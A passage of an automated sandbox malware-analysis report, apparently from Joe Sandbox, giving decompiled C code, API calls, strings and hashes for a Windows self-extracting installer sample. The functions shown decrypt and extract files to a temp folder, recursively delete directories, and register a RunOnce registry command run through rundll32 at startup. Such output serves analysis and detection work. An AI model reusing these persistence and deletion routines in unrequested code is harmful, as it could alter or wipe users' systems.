										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0xf89a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E00F83BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0xf88a24; // 0x0
										goto L26;
									}
								}
								_t27 = E00F83B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E00F844B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0xf89124 = E00F86285();
							goto L16;
						}
						_t59 =  *0xf89a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E00F8621E(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0xf88a24;
				if( *0xf88a24 != 0) {
					L4:
					_t34 = E00F83A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E00F851E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0xf88a38;
				if( *0xf88a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x00f82f1d
0x00f82f28
0x00f82f2f
0x00f82f3d
0x00f82f6c
0x00f82f6c
0x00f82f71
0x00f82f73
0x00f83041
0x00f83041
0x00f83043
0x00f83053
0x00f83053
0x00f82f79
0x00f82f80
0x00000000
0x00f82f86
0x00f82f86
0x00f82f93
0x00f82f9e
0x00f82fa0
0x00f82fa6
0x00f82fb8
0x00f82fba
0x00f82fbe
0x00f82fc6
0x00f82fcc
0x00f82fd4
0x00f82fd6
0x00f82fd8
0x00f82fe0
0x00f82fe6
0x00f82fee
0x00f82ff0
0x00f82ff5
0x00f82ff5
0x00f82fee
0x00f82fd4
0x00f82ff8
0x00f82ffe
0x00f83004
0x00f83017
0x00f8301c
0x00f83024
0x00f83054
0x00f8305a
0x00f83065
0x00f83065
0x00f8306c
0x00f8306e
0x00f83075
0x00f8307a
0x00f8307a
0x00f8307c
0x00f83081
0x00f83087
0x00f83089
0x00f830a1
0x00f830a1
0x00f830a9
0x00f830ab
0x00f830ad
0x00f830af
0x00f830af
0x00f830ad
0x00f830b6
0x00000000
0x00f8308b
0x00f8308b
0x00f83091
0x00000000
0x00000000
0x00f83093
0x00f83098
0x00f8309a
0x00000000
0x00000000
0x00f8309c
0x00000000
0x00f8309c
0x00f83089
0x00f8305c
0x00f83061
0x00f83063
0x00000000
0x00000000
0x00000000
0x00f83063
0x00f8302b
0x00f83032
0x00f8303c
0x00000000
0x00f8303c
0x00f83006
0x00f8300c
0x00000000
0x00000000
0x00f8300e
0x00f83015
0x00000000
0x00000000
0x00000000
0x00f83015
0x00f82f80
0x00f82f3f
0x00f82f46
0x00f82f5f
0x00f82f5f
0x00f82f64
0x00f82f66
0x00000000
0x00000000
0x00000000
0x00f82f66
0x00f82f4f
0x00000000
0x00000000
0x00f82f55
0x00f82f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 00F82F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00F82FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00F82FC6
DecryptFileA.ADVAPI32 ref: 00F82FE6
FreeLibrary.KERNEL32(00000000), ref: 00F82FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F8301C

Part of subcall function 00F851E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00F82F4D,?,00000002,00000000), ref: 00F85201

Strings

DecryptFileA, xrefs: 00F82FC0
C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F82FDB, 00F83017
advapi32.dll, xrefs: 00F82F99

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-1230860006
Opcode ID: bcbccdad3ed7132603c9194ae5d319402f439655927c5c6351db533c50700f03
Instruction ID: f20763a2e5a02874e9fa1203687ee84706cf32ad9a8377525767a4db6e61fc56
Opcode Fuzzy Hash: bcbccdad3ed7132603c9194ae5d319402f439655927c5c6351db533c50700f03
Instruction Fuzzy Hash: 0341AB31E006095BDB34BB719C496FA33A8EB44F69F040566E941C21A1EF7CDE81FB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F82390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00F82390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0xf88004; // 0x7e92e7a6
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E00F86CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E00F81680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E00F816B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E00F81680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E00F816B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E00F816B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E00F8658A( &_v280, 0x104, 0xf81140);
								E00F82390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x00f82398
0x00f8239e
0x00f823a3
0x00f823a5
0x00f823ae
0x00f823b3
0x00f824cb
0x00f824d2
0x00f824d3
0x00f824d4
0x00f824df
0x00f823c2
0x00f823d1
0x00f823db
0x00f823e4
0x00f823f6
0x00f823fc
0x00f82401
0x00000000
0x00000000
0x00000000
0x00000000
0x00f82407
0x00f82407
0x00f82408
0x00f82411
0x00f8241f
0x00f8247a
0x00f82483
0x00f82495
0x00f824a3
0x00f82421
0x00f8242f
0x00f82453
0x00f8245d
0x00f82466
0x00f82472
0x00f82472
0x00f8242f
0x00f824af
0x00f824b5
0x00f824be
0x00f824c5
0x00000000
0x00f824c5

APIs

FindFirstFileA.KERNELBASE(?,00F88A3A,00F811F4,00F88A3A,00000000,?,?), ref: 00F823F6
lstrcmpA.KERNEL32(?,00F811F8), ref: 00F82427
lstrcmpA.KERNEL32(?,00F811FC), ref: 00F8243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00F82495
DeleteFileA.KERNEL32(?), ref: 00F824A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 00F824AF
FindClose.KERNELBASE(00000000), ref: 00F824BE
RemoveDirectoryA.KERNELBASE(00F88A3A), ref: 00F824C5

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: c979d330c0667f11ab6b97c9f76434d2536325f44af3740a3f5e5eec8b0b8bdb
Instruction ID: a9554f6427ecacb57b66aa92150df3aed3f9a059f18b6fa2a678f031dde96c8e
Opcode Fuzzy Hash: c979d330c0667f11ab6b97c9f76434d2536325f44af3740a3f5e5eec8b0b8bdb
Instruction Fuzzy Hash: 5C31A4326046449BD320FB64CC8DAFB73ACFBC4315F044A2EB59586191EB38A90DE762

Uniqueness

Uniqueness Score: -1.00%

Function 00F82BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00F82BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0xf8a288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0xf89124 = 0;
				if(E00F82CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E00F82F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E00F852B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0xf88a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0xf89a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E00F81F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0xf88588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0xf89124; // 0x0
				return _t7;
			}

0x00f82c03
0x00f82c0d
0x00f82c18
0x00f82c20
0x00f82c2e
0x00f82c32
0x00f82c36
0x00f82c3d
0x00f82c43
0x00f82c45
0x00f82c47
0x00f82c49
0x00f82c4e
0x00f82c4e
0x00f82c47
0x00f82c32
0x00f82c20
0x00f82c50
0x00f82c54
0x00f82c57
0x00f82c64
0x00f82c66
0x00f82c6b
0x00f82c6d
0x00f82c74
0x00f82c76
0x00f82c7c
0x00f82c7e
0x00f82c87
0x00f82c89
0x00f82c89
0x00f82c87
0x00f82c7c
0x00f82c74
0x00f82c8e
0x00f82c95
0x00f82c98
0x00f82c98
0x00f82c9e
0x00f82ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00F86BB0,00F80000,00000000,00000002,0000000A), ref: 00F82C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00F86BB0,00F80000,00000000,00000002,0000000A), ref: 00F82C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00F82C28
CloseHandle.KERNEL32(00000000,?,?,00F86BB0,00F80000,00000000,00000002,0000000A), ref: 00F82C98

Strings

HeapSetInformation, xrefs: 00F82C22
Kernel32.dll, xrefs: 00F82C13

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: f107ff75c3fb92ed1015a97dd0e6639845a99575e0eff3b8fdd9f94bdbfc6152
Instruction ID: 52c38db67b8fd60d8f09db365db038afa0e25b4986ac1d98230e9f705d5bcd45
Opcode Fuzzy Hash: f107ff75c3fb92ed1015a97dd0e6639845a99575e0eff3b8fdd9f94bdbfc6152
Instruction Fuzzy Hash: BF11C271B00209ABD7607BB4AD89AFF3799EB857B0B480116F901D3290DA34EC02B761

Uniqueness

Uniqueness Score: -1.00%

Function 00F86F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F86F40() {

				SetUnhandledExceptionFilter(E00F86EF0); // executed
				return 0;
			}

0x00f86f45
0x00f86f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 00F86F45

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dae1ced55becba8e13b6ee622af3e3aa7709d32da19aaf2b61572c28105cdcd1
Instruction ID: d06b3b73c0c6c0847991cea048146f7397a18d211874e00cbc045d104fde6eee
Opcode Fuzzy Hash: dae1ced55becba8e13b6ee622af3e3aa7709d32da19aaf2b61572c28105cdcd1
Instruction Fuzzy Hash: B390027425150447A6102B70DD1D4A576919B4D602F8154A1A111C4499DB6080407B17

Uniqueness

Uniqueness Score: -1.00%

Function 00F8202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00F8202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E00F86CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E00F8171E("wextract_cleanup1", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup1", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E00F8658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0xf89a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0xf891e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0xf891e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0xf891e5);
						if(_t90 != 0) {
							 *0xf88580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
							E00F8171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup1", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E00F844B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E00F8658A( &_v268, 0x104, 0xf81140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0xf88530 = _t66;
				goto L23;
			}

0x00f8202a
0x00f82035
0x00f8203c
0x00f82041
0x00f82050
0x00f8205f
0x00f82064
0x00f8206f
0x00f8208c
0x00f82094
0x00f82257
0x00f82266
0x00f82266
0x00f8209a
0x00f8209b
0x00f8209d
0x00f820aa
0x00f820af
0x00f820c9
0x00f820d1
0x00000000
0x00000000
0x00f820d3
0x00f820da
0x00000000
0x00000000
0x00000000
0x00f820da
0x00f820e2
0x00f82103
0x00f8210e
0x00f82116
0x00f82122
0x00f82128
0x00f8212c
0x00f82179
0x00f82194
0x00f821de
0x00f821e4
0x00f82256
0x00f82256
0x00000000
0x00f82256
0x00f82196
0x00f82196
0x00f8219c
0x00f8219f
0x00f8219f
0x00f821a1
0x00f821a2
0x00f821a6
0x00f821a8
0x00f821b0
0x00f821b0
0x00f821b2
0x00f821b3
0x00f821bc
0x00f821c7
0x00f821cb
0x00f821f1
0x00f821f6
0x00f821fd
0x00f821ff
0x00f821ff
0x00f82204
0x00f82213
0x00f82218
0x00f8221d
0x00f8221d
0x00f82220
0x00f82220
0x00f82222
0x00f82223
0x00f82229
0x00f8223d
0x00f82249
0x00f82250
0x00000000
0x00f82250
0x00f821d2
0x00f821d9
0x00000000
0x00f821d9
0x00f8213a
0x00f82141
0x00f82144
0x00f8214c
0x00000000
0x00000000
0x00f82163
0x00f82172
0x00f82172
0x00000000
0x00f82163
0x00f820ea
0x00f820f0
0x00000000

APIs

memset.MSVCRT ref: 00F82050
memset.MSVCRT ref: 00F8205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 00F8208C

Part of subcall function 00F8171E: _vsnprintf.MSVCRT ref: 00F81750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F820C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F820EA
GetSystemDirectoryA.KERNEL32 ref: 00F82103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F82122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00F82134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F82144
GetSystemDirectoryA.KERNEL32 ref: 00F8215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F8218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F821C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F821E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 00F8223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F82249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00F82250

Strings

wextract_cleanup%d, xrefs: 00F8209E
%s /D:%s, xrefs: 00F821FF, 00F82210
C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F821A8, 00F82204
wextract_cleanup1, xrefs: 00F820A5, 00F820BE, 00F820F0, 00F82232
DelNodeRunDLL32, xrefs: 00F8212E
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00F82082
advpack.dll, xrefs: 00F82109
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00F821F6

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup1
API String ID: 178549006-1563176777
Opcode ID: fd6663e54b9b195fc5ccb77196dc5fc40fda38d6e7488c2591b08e70c146e0d3
Instruction ID: 6b316da6f59a7a3cf4263eab61548626dd7e162b3abf940f31fbbe296dc1fa0f
Opcode Fuzzy Hash: fd6663e54b9b195fc5ccb77196dc5fc40fda38d6e7488c2591b08e70c146e0d3
Instruction Fuzzy Hash: 1F511572A00218ABEB20BF60DC4DFFB777CEB40750F1401A9FA05E7151DA75AE45AB61

Uniqueness

Uniqueness Score: -1.00%

Function 00F855A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00F855A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t28 ^ _t110;
				_t2 = E00F8468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E00F8468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0xf89a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0xf88b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0xf88a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E00F86517(_t82, 0x7d2, 0, E00F83210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0xf89a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0xf891e4;
									_t40 = GetTempPathA(0x104, 0xf891e4);
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E00F81781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E00F86952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E00F8597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E00F82630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E00F8658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0xf891e4;
																					E00F81781(0xf891e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E00F85467(0xf891e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E00F82630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E00F8597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E00F85467(0xf891e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0xf891e4;
											_t70 = E00F82630(0, 0xf891e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0xf891e4;
												_t71 = E00F85467(0xf891e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E00F8597D(_t82, _t101, 1);
